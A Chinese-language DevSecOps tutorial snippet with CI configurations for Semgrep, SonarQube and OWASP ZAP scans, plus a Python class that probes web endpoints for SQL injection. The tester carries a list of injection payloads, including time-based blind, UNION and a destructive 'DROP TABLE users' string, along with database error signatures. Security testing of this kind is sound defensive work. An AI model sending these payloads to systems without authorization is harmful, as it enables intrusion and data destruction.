渗透测试与 DevSecOps

# .github/workflows/security-sast.yml
name: SAST Security Scan
on: [pull_request]

jobs:
  semgrep:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Semgrep 扫描
        uses: returntocorp/semgrep-action@v1
        with:
          config: >-  # 多规则集组合
            p/owasp-top-ten
            p/security-audit
            p/sql-injection
            p/xss
            p/secrets

      - name: SonarQube 分析
        uses: SonarSource/sonarqube-scan-action@v2
        env:
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
        with:
          args: >
            -Dsonar.security Hotspots=true
            -Dsonar.vulnerabilities.report=true

      - name: 安全门禁判断
        run: |
          CRITICAL=$(jq '.results | map(select(.extra.severity == "ERROR")) | length' semgrep-results.json)
          if [ "$CRITICAL" -gt 0 ]; then
            echo "::error::发现 $CRITICAL 个高危安全漏洞"
            exit 1
          fi

# GitLab CI DAST 扫描配置
dast:
  stage: security
  image: owasp/zap2docker-stable
  variables:
    target_url: "https://staging.example.com"
  script:
    - zap-cli quick-scan --scanners all $target_url
    - zap-cli report -o zap-report.html -f html
    - zap-cli report -o zap-report.json -f json
  artifacts:
    paths:
      - zap-report.html
      - zap-report.json
  rules:
    - if: $CI_COMMIT_BRANCH == "main"
  after_script:
    - |
      CRITICAL=$(jq '.site[0].alerts | map(select(.riskcode == "3")) | length' zap-report.json)
      if [ "$CRITICAL" -gt 0 ]; then
        echo "发现 $CRITICAL 个严重漏洞，阻止发布"
        exit 1
      fi

"""
渗透测试实战：SQL 注入自动化检测
使用 Python 模拟攻击者视角验证注入漏洞
"""
import requests
import urllib.parse
from dataclasses import dataclass

@dataclass
class InjectionResult:
    vulnerable: bool
    payload: str
    evidence: str

class SQLInjectionTester:
    def __init__(self, base_url: str):
        self.base_url = base_url
        self.session = requests.Session()
        # 常见 SQL 注入 Payload
        self.payloads = [
            "' OR '1'='1' --",
            "' OR '1'='1' /*",
            "1' AND SLEEP(5) --",  # 时间盲注
            "1 UNION SELECT NULL,NULL,NULL --",  # 联合查询
            "'; DROP TABLE users; --",  # 堆叠注入（仅测试，不执行）
        ]

    def test_endpoint(self, endpoint: str, param: str, method: str = "GET"):
        """测试端点的注入漏洞"""
        results = []

        for payload in self.payloads:
            if method == "GET":
                url = f"{self.base_url}{endpoint}?{param}={urllib.parse.quote(payload)}"
                resp = self.session.get(url, timeout=10)
            else:
                resp = self.session.post(
                    f"{self.base_url}{endpoint}",
                    data={param: payload},
                    timeout=10
                )

            # 检测注入特征
            if self._detect_injection(resp, payload):
                results.append(InjectionResult(
                    vulnerable=True,
                    payload=payload,
                    evidence=f"HTTP {resp.status_code}, 响应含 SQL 错误信息"
                ))

        return results

    def _detect_injection(self, response: requests.Response, payload: str) -> bool:
        """检测注入成功的特征"""
        error_patterns = [
            "SQL syntax",
            "mysql_fetch",
            "ORA-01756",  # Oracle
            "PG::SyntaxError",  # PostgreSQL
            "SQLITE_ERROR",
            "Microsoft SQL Server",
        ]

        body = response.text.lower()
        for pattern in error_patterns:
            if pattern.lower() in body:
                return True

        # 时间盲注检测：如果 SLEEP payload 导致延迟
        if "SLEEP" in payload and response.elapsed.total_seconds() > 4:
            return True

        return False

# 使用示例（仅授权测试环境）
tester = SQLInjectionTester("https://test.example.com")
results = tester.test_endpoint("/api/users", "id")
for r in results:
    if r.vulnerable:
        print(f"[!] 发现 SQL 注入: {r.payload}")
        print(f"    证据: {r.evidence}")